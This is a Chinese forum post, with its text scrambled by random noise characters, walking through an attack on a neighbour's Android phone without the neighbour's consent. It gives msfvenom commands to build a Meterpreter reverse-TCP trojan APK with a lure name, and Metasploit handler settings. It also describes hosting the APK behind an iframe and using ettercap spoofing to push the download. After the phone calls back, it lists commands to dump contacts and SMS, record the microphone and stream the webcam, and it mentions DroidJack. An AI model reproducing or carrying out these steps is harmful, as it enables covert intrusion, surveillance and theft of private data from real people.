|
* p" H# V) F) ?' A+ O! F% S
五、msf+ettercap入侵邻居安卓手机 4 ^3 o, |* b: ?& Y4 ^! f
* t( o8 h+ O0 P
5 w4 U6 D o0 C _! i0 Y$ _' i 首先启动msf - [3 m6 J- c4 D7 ?; b! v- m$ Q
7 ?7 T, L* G* a3 E: j8 A; ~( Z6 a8 s% t5 ^. y
先用kali生成一个安卓木马，如下命令： ! @1 x4 }; ]' @9 H0 z+ h
) q$ Q4 R/ F7 n3 J% u, \
2 B* o' O1 x, H, n8 |* }8 o* _4 a Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk
( M/ Z' E% I, h' |1 l4 W! @
( \* S9 ~4 W& U( f; s
1 H/ x# W y. j. J0 V  为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻
6 I1 H) D" J+ \ : n' U' M4 j# h7 [# t8 M9 q. Q
7 U4 t6 T' q9 y( A 然后进入msf
2 u9 g% B- d2 e i+ w3 ~- ~. A Y, h ]; e1 Z8 F& [" D
& f" `: @3 ^! G3 B! n7 ?
use exploit/multi/handler
. S/ s8 z) ?4 G7 `+ j6 m! d, I$ G
4 a' @0 @1 c' o$ }) H# B6 E4 n3 D" Q6 s/ U2 h' ?! P
set payload android/meterpreter/reverse_tcp
' V( I7 D7 z9 k: B! d6 ^2 H
: E* X3 h1 e% k6 O% G7 r
, z( i& d9 ?# Y' E set LHOST 192.168.0.109 //ip为kaili的ip
, @ O! ]8 x. s2 q1 p2 m8 g+ q
4 X7 L( E. | n: `& U8 r% K! N1 D& [( \# s1 ]2 y" V
set LPORT 44444 //端口一定要与前面生成的木马的端口一致 ; h& z0 ]4 o a5 g8 Z/ [, i
$ ]. t1 A5 g4 J$ g8 i
, c1 W ?6 _8 B0 ^: g2 p6 e0 n7 P
Exploit ; V7 _; Z% p. Q8 I# `* O3 N& ~
1 I$ P5 i$ j6 ~. g
6 p! ~4 S0 v3 N0 U; i  , t0 G0 i6 x5 h8 p7 y
6 l2 ?; `9 k7 J8 P Z- W% s6 i
# g: V% I. ]. A$ C$ o 下面我们开启ettercap -G
. Q& Q+ u+ T! b$ U * u i5 q& [5 a: J, Z. Y4 l! [
/ L- g1 i4 A, r
我物理IP为 8 ?$ n! d# u4 F
9 |- _4 n& @' w9 N- g# }
" G+ x- r0 j W4 ~/ g6 }
 . C, A, N: Z J
Q/ G7 x1 H4 |- h9 S
5 R3 v/ K3 Q3 V4 L" g6 B1 r
别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的， / e8 Y( x) V# h3 l) n- H
8 y6 G* `1 a% P2 F ^# u. Q% v0 v7 l2 p* E, v/ \- s5 u
下面我们来设置一下
& C: p# k& B: R# ], D1 |8 E- `' B
3 U: M% d* c( y3 q' h2 i! a1 ~" W/ W2 S" ?0 D" g
, c4 {- u0 g. W* H0 B- H9 s3 x
7 H0 N/ O* }/ b8 d9 u! e( B# t% `8 ]& K% C$ N7 ~9 I4 b& ?5 l: H
在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了， , |# j. [: c6 X, r: f& o
. T3 ~& P& E# J8 X. j8 l+ o0 q( q; Y2 g) T5 d& P$ r0 J
5 f% t% V1 q9 K- f' V1 F+ ~, ? 3 @3 u2 F+ D* F8 {& j9 J
$ t! s% e3 a, a# y7 B; G' Y
2 Z* y8 v3 q6 x2 z. O0 C! I 6 y/ W2 B3 Z) N+ _8 [
( _: g- M1 {* C+ o$ S5 d0 {
! R e; ]' q+ C8 u7 R) a
. x8 Z- k1 l. t/ H# E4 u3 T. l) L; f$ y, Y0 H$ j/ F6 K6 f
2 ]& \# o( {" d & c" @ I Y& D. [
" X# C* j4 v7 s; w ) D- ^ N( Q9 ]+ \% F% P' J
& B2 g% ^# s/ I: H0 v; w. Q4 W
9 X( h/ o5 P* L$ ?) d
2 a/ v" O7 U F/ n) W# i2 S$ M) T
. z4 a) R$ K# O1 q
$ r; G4 o* q% v% g- ` u+ D# i0 f3 P
( s$ ]/ I+ L" g) X |! I & _( t5 u& r9 r1 c% L* k
& @7 w0 i" ]( A( R2 w1 a2 g8 a. F9 \! R
; I# h, G; t% n+ ?6 ]3 m ) p- @1 q$ a/ y W- o0 T) V
' Y+ Q" e$ [: G8 [( U4 O 8 z& W" M$ R6 ]- v, I8 W& q
' y k5 J5 C1 y) C' y5 b' o4 ]
% U. Y6 b& T9 G" e! w
% Z6 N+ d: n8 I2 R% `
2 _- J: \& C. U# Q
( P3 w- `$ k4 l- v; L
$ A9 J) z$ t* a% V; D& _ " A/ _2 Y, N3 H
* X* Y! b1 S1 U# K5 z
5 U9 S3 r' e; z H5 ] d- q , ~2 _0 T3 }7 \! D4 N, @+ O, I
: x9 Y* {5 l' R' k+ C' Y 
, G4 u3 Q) V; G, a 5 P4 |; M% Z& s. g0 O
/ p5 h; E$ p; @/ C5 U& T; k 下面我们开始攻击 # _& ~6 e# C3 [# V: |/ s* l
6 n5 @0 ]& {: P7 r. l K1 o: u
2 c M% t8 M9 ]1 e8 B6 j
8 d* v: n4 \& L2 s- a6 n
$ Q% m0 x7 @% A# p: ]; n- W" w
& U7 k0 L: u5 L" A$ ^
1 j; T9 y$ E$ ^ o" Z: G9 t* M ! c# ~4 B8 Q$ _7 t9 V8 P' c
: t( Y+ T- p7 j
# j5 [6 f# L2 K; k/ v! Y6 d9 ?
( Q7 w) X% x! _! N
, q( {) N" B' d - V+ V3 c% ?! g& d l
& [: u% H2 r3 x. r0 S5 m
( t+ i) a2 F& w; V 
: M" S, B/ A0 k! H3 n
* e4 A/ a5 U/ `5 Y# I& o& B' x. ?! |
3 u( d8 \5 q a9 O" U" w 大概过了5分钟多，发现反弹成功了 / O% ]# B+ s% W/ {$ R9 ?
- n7 `4 V# ^; y |
/ N& E0 A' n2 c. H% Q6 D Y p
- l D2 G7 z% v& T; T2 P1 Y 4 l6 B b; E P6 Z4 \
# F* y4 d' n& B$ S# ?* [. Y( d - b; ~+ r3 a0 d# ~. X. Y' a
# v$ L9 i% a* b8 |* P) @+ p9 p+ ]9 j5 U) @) d- K
7 v! a( q6 J0 Z h. ^) B- b 6 M- F6 X6 U! F0 n3 b1 ]" y
& P& w+ ?6 ?7 M7 H+ n3 ?
: v/ | ^! o/ n/ x* r% C9 z) h 6 z/ i7 y& j; j$ ^( }2 D
+ c+ P; n# m2 J3 r/ B4 Z2 z
1 N5 o5 q( f* Z1 H8 e
5 Z1 M7 p9 H" P( l# J
& z# e3 [! W0 `4 x q: q 7 r$ M$ e# J" S2 o# I' Y% w' @
6 N; W6 B/ m/ a! B( O- \9 e( g7 I/ I
 2 U) _# x8 H6 A' e
! l! d* ^1 a* E* i" y- M9 O8 x& k. f
执行命令 2 g. _) d+ z1 b1 I, d$ G3 v
; W9 p- u& r/ l, t; ~
# B+ e: w2 G# @( s) ~5 T4 l , ]5 Q* j. c- T3 ?
" w G3 z5 e# Z+ q
( P2 T" A/ Y; }9 ~, a dump_contacts --》这个是导出电话 # @/ d* a9 ?' p5 ]4 e: ]$ L" E2 [( S
) e7 |( q( T a/ l/ ^, O4 m$ u2 s/ g% {! m
dump_sms --》这个是导出信息
/ U8 }4 d$ G; u% [+ g
5 u( w6 ]8 s* B0 A# P" L
! e! {* K; y) n7 d6 x record_mic Record audio from the default microphone for X seconds % E4 s5 O1 B( N) d8 S
' [' A3 p+ L* Q: j% `7 b" X5 w$ N' |" b. g
webcam_chat Start a video chat 7 V' B! Z9 R9 n% N
' s( c. v, n* N T# Q+ w3 t
9 l7 V/ S: n: e I webcam_list List webcams
. M' f. v4 V+ `* r9 V1 A
4 k% q$ \+ F* t; I( `6 [) j
* B6 I- J5 U$ [4 h: @ webcam_snap Take a snapshot from the specified webcam
' r7 i+ A4 l! N) ?; A 9 ]# S7 Z* u* B0 `3 O; ~+ n% h' @
: U \& f# O1 Q6 ~8 c
webcam_stream  lay a video stream from the specified webcam 5 Z# q) H, S8 K# c9 t
' R0 z( s( M: ?4 d( p
8 J, F' @6 [7 ]+ I
 ; b6 z* h" i) z9 H$ }/ w
9 b6 W0 ]6 u a# V$ w2 z$ P! c9 z, D! v0 d& b) U {, p+ b
+ `8 k4 L. L- ~; s* S ) S1 ^- Y. F, k# `* w
9 q) `5 i7 T( j# h
我们打开看一下电话薄，
/ ?3 E3 d) k# F 8 j* x. @/ o1 }; y4 j
' X% O1 J1 t+ y/ {, l0 C4 K
; Y7 c* i1 S# G- V3 T7 \% v9 w' W
- n) H$ _" I( {3 s q) {8 L3 V) U/ x& S& W6 q, i; N
. ?2 y" g6 m% a2 q) U+ _, ^ 2 d( K8 j3 s' e e* ~
; V/ r+ v# i2 Q5 X: ]- M$ `3 d9 A
1 x& c, {4 L4 @! b( v+ s
7 T3 `# Y" b" H+ X& I
3 T* ]5 J( F# }( P) S) \8 r% f  4 ]# R* z* c/ G C' E9 x% t
: |8 E" {3 n0 s/ r0 @, j7 \# K
2 g4 G6 G, P; W
) k; ?& o7 a' m# f0 B/ W7 `4 k3 I # E* {# B* r/ z1 H8 }& T- ]! Z
- K/ O! Y' R1 u: `2 W
4 g3 ^" H# Q# v- Y3 J* {) e
( f9 O" O% H4 l- j$ L
* f5 R6 S. g* m. z; w0 ?- L, I$ M- b' [ 我们同时欺骗成DroidJack木马，使用方法如图：
4 I+ ~: v4 n+ w- K: m % B5 A% F$ F! v8 k5 W( `( K
8 a$ J2 u# E ~, L 
* F; P0 c7 O' N C + J! I; x4 U+ u8 _ x# \7 O
3 p7 w( u* `9 @! Z2 M7 \ $ i- [9 y* F; Z3 M8 }0 ?) e
- u, ~( g& E0 S( q. O9 H
! W6 S! \) _. o! D  9 y. x6 `9 k/ Q7 _( W- Q9 ` L
$ l4 u3 U' I4 y4 A9 ^
* j8 u1 i- [% y
切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口 " ~9 P: d& }0 c# K4 a+ n
% i) O/ a+ {- Y" x( L; e
2 ?6 I% i$ B( {1 ~
 / v$ D5 {: I7 X+ i* Z$ |# l) J
8 o, ? k6 ?, t, v. B
8 b8 b1 m4 r. h6 H" i% H
9 E8 l2 D. L0 ^4 ` V3 D! k; S6 S2 K4 _3 T$ q
* I. f) c6 A1 g6 G0 N/ A1 G$ [/ r8 b
. V- A- G( G' p# L# \) v% f6 ] 3 t7 m& I6 T p& Y2 E% B. }
; v7 o. E% G- Q2 _7 Z d  
/ {+ V) x" [% N/ r
3 k, B( N, v. N x w9 M9 V! r! r- `& d/ _
% ~/ [* o; B( ?* z- k' Z3 ?3 p2 r, X
| 
发表于 2018-10-20 20:30:37
收藏
支持
反对